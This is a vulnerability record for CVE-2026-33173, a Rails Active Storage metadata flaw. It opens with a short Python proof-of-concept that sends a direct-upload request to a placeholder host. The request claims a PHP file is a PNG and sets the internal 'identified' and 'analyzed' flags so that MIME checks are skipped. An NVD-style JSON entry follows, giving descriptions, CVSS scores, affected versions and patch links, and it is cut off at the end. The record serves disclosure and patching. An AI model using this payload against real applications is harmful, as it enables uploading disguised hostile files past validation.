CVE-2026-33173

# Proof of Concept for CVE-2026-33173 # This script demonstrates how to bypass MIME type detection by manipulating metadata. import requests target_url = "http://target.com/rails/active_storage/direct_uploads" headers = {"Content-Type": "application/json", "Accept": "application/json"} # Malicious payload: Setting 'identified' and 'analyzed' to true to skip server checks # Attacker uploads a PHP file but claims it is a PNG image payload = { "blob": { "filename": "malicious.php", "content_type": "image/png", "byte_size": 1024, "checksum": "dummy_checksum_value", # The vulnerable part: forcing internal flags to true "metadata": { "identified": True, "analyzed": True, "width": 800, "height": 600 } } } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Vulnerability exploited! File uploaded with bypassed validation.") print(f"[+] Response: {response.text}") else: print("[-] Upload failed or patched.")

{"cve": {"id": "CVE-2026-33173", "sourceIdentifier": "[email protected]", "published": "2026-03-24T00:16:28.457", "lastModified": "2026-03-24T17:56:09.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Active Storage allows users to attach cloud and local files in Rails applications. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, `DirectUploadsController` accepts arbitrary metadata from the client and persists it on the blob. Because internal flags like `identified` and `analyzed` are stored in the same metadata hash, a direct-upload client can set these flags to skip MIME detection and analysis. This allows an attacker to upload arbitrary content while claiming a safe `content_type`, bypassing any validations that rely on Active Storage's automatic content type identification. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch."}, {"lang": "es", "value": "Active Storage permite a los usuarios adjuntar archivos locales y en la nube en aplicaciones Rails. Antes de las versiones 8.1.2.1, 8.0.4.1 y 7.2.3.1, 'DirectUploadsController' acepta metadatos arbitrarios del cliente y los persiste en el blob. Debido a que indicadores internos como 'identified' y 'analyzed' se almacenan en el mismo hash de metadatos, un cliente de carga directa puede establecer estos indicadores para omitir la detección y el análisis MIME. Esto permite a un atacante cargar contenido arbitrario mientras declara un 'content_type' seguro, eludiendo cualquier validación que dependa de la identificación automática del tipo de contenido de Active Storage. Las versiones 8.1.2.1, 8.0.4.1 y 7.2.3.1 contienen un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-925"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.3.1", "matchCriteriaId": "D9DC6CB9-DC6C-4CBB-9806-3936ADBC8F1B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.4.1", "matchCriteriaId": "FA8791E1-8B96-43F6-A3EC-A7E60D700330"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.1.0", "versionEndExcluding": "8.1.2.1", "matchCriteriaId": "978E0135-D14B-41DE-87E4-CF059A23E189"}]}]}], "references": [{"url": "https://github.com/rails/rails/commit/707c0f1f41f067fdf96d54e99d43b28dfaae7e53", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rails/rails/commit/8fcb934caadc79c8cc4ce53287046d0f67005b3e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rails/rails/commit/d9502f5214e2198245a4c1defe9cd02a7c8057d0", "source": "[email protected]", "tags": ["Patch"]}, ... (truncated)